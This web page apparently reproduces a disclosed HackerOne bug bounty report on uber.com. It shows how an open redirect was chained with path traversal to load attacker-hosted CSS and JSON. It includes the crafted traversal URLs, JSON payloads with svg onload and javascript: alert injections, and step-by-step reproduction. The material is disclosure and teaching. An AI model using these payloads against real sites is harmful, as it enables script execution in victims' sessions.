Skip to content
XSS Disclosed report Intermediate

Reflected XSS via Unvalidated / Open Redirect in uber.com

The report describes an open redirect on uber.com that could be abused to load attacker-controlled CSS and JSON, leading to reflected cross-site scripting. An attacker could execute script in the context of uber.com by hosting malicious files on a controlled domain.

mdv Follow

Originally disclosed on HackerOne

Bounty$3,000 View original
  • Triaged in 3 hours
  • Fixed in 19 days
  • Paid in 20 days
  • Disclosed after 46 days

Summary by the researcher

This report demonstrates how much the usual Open Redirect can be dangerous.

Open Redirect

Open Redirect was reproduced from this URL: uber.com/en//example.com/ Response:

HTTP/1.1 301
...
Location: //example.com/

CSS injection

This vulnerability was reproduced via parameter theme from URL uber.com/?theme=../en//example.com/css-code.css%23 as follow:

<link rel="stylesheet" id="theme-css" href="https://uber.com/stylesheets/../en//example.com/css-code.css#.css">

Browser try to load CSS code from: example.com/css-code.css To fix @uber added whitelisting the theme names.

Reflected Cross-Site Scripting

This vulnerability was produced via insufficient filtration API requests.

Example URL to controlling API request: uber.com/careers/list/-CONTROLLED-/ Browser try to load JSON content from: uber.com/api/jobs/-CONTROLLED-

Sending API requests to another domain: uber.com/careers/list/..%2f..%2fen%2f%2fexample.com%2ffile.json/ Browser try to load JSON content from: uber.com/en//example.com/file.json >>> example.com/file.json

So, on a controlled domain, I placed a JSON file with this content:

{  
   "id":"9999",
   "title":"XSS on Uber.com",
   "overview":"<svg onload=\"alert('XSS on '+ document.domain)\">",
   "responsibilities":null,
   "qualifications":null,
   "lastUpdated":"2016-01-16 06:29 AM",
   "formattedTeam":"xss",
   "team":"xss",
   "subTeam":"xss",
   "formattedLocation":"xss",
   "slugs":{  
      "team":"xss",
      "subTeam":"xss",
      "city":"xss",
      "country":"xss"
   },
   "city":"xss",
   "country":"xss",
   "jobUrl":"javascript:alert('XSS on '+ document.domain)",
   "normalizedTitle":"xss",
   "normalizedContent":"xss"
}

and get unusually high degree of control over the page. Then I found a similar XSS vector on uber.com/cities/%252e%252e%2f%252e%252e%2fen%2f%2fexample.com%2ffile.json/. Browser try to load JSON content from: example.com/file.json Vulnerable JSON for uber.com/cities/-CONTROLLED-/:

{  
   "products":[  
      {  
         "productDisplayType":"uberx",
         "fare":{  
            "safeRideFee":"USD9999.99",
            "perMinute":"USD9999.99",
            "minimum":"USD9999.99",
            "cancellation":"USD9999.99",
            "fareType":"time_plus_distance",
            "base":"USD9999.99",
            "isDistanceUnitMetric":false,
            "perDistanceUnit":"USD9999.99",
            "additionalFees":[  

            ]
         },
         "displayName":"uberX",
         "tagline":"XSS",
         "taxiFareInfo":false,
         "finePrint":[  
            "XSS"
         ]
      },
      {  
         "productDisplayType":"uberxl",
         "fare":{  
            "safeRideFee":"USD9999.99",
            "perMinute":"USD9999.99",
            "minimum":"USD9999.99",
            "cancellation":"USD9999.99",
            "fareType":"time_plus_distance",
            "base":"USD9999.99",
            "isDistanceUnitMetric":false,
            "perDistanceUnit":"USD9999.99",
            "additionalFees":[  

            ]
         },
         "displayName":"uberXL",
         "tagline":"XSS",
         "taxiFareInfo":false,
         "finePrint":[  
            "XSS"
         ]
      }
   ],
   "flatRates":[  

   ],
   "id":9999,
   "cityId":9999,
   "flatRateDisplayNames":[  

   ],
   "geoJson":null,
   "geoPoint":{  
      "latitude":33.951252,
      "longitude":-83.382943
   },
   "slug":"xss",
   "twitterHandle":null,
   "theme":{  
      "name":"united_states",
      "ctaColor":"#57AD57",
      "patternColor":"#4DB5D9",
      "patternColorBackground":"#A6DAEC"
   },
   "rideContent":"XSS",
   "driveContent":"XSS",
   "impactContent":"XSS",
   "name":"<marquee>XSS</marquee><svg onload=\"alert('XSS on '+ document.domain)\">",
   "pageTitle":"XSS",
   "pageDescription":"XSS",
   "productLegalNotice":null,
   "pageConfiguration":{  

   }
}

The report

Hello, To reproduce this issue, visit this URL: https://www.uber.com/en//example.com/ This URL will redirect at example.com.

Attachments

Response.png
Response.png From the original on HackerOne

The original report as published on HackerOne, by mdv. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely insufficient validation of URL paths and parameters allowed path traversal and open redirects, which were then used to load external resources.

Impact

An attacker could execute JavaScript in the context of uber.com by loading attacker-controlled JSON.

What the attacker needed

Attacker controls a domain; victim clicks a crafted link

The fix

The CSS injection via the theme parameter was fixed by whitelisting theme names; no fix is stated for the open redirect or XSS.

How it was found

  1. Visit the crafted URL with a double slash and external domain to trigger an open redirect.
  2. Use the theme parameter with a path traversal to load CSS from an external domain.
  3. Craft a careers list URL with encoded traversal to make the page load JSON from an external domain.
  4. Host a malicious JSON file on the external domain containing script payloads.
  5. Visit the crafted careers URL to execute the script in the uber.com context.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An open redirect lets a website send visitors to any other site without checking the destination. Here, the redirect was combined with other flaws so the site would load files from an attacker's server, and those files contained code that runs in the victim's browser. This is dangerous because the code runs as if it came from the trusted site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by mdv

View all

6 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.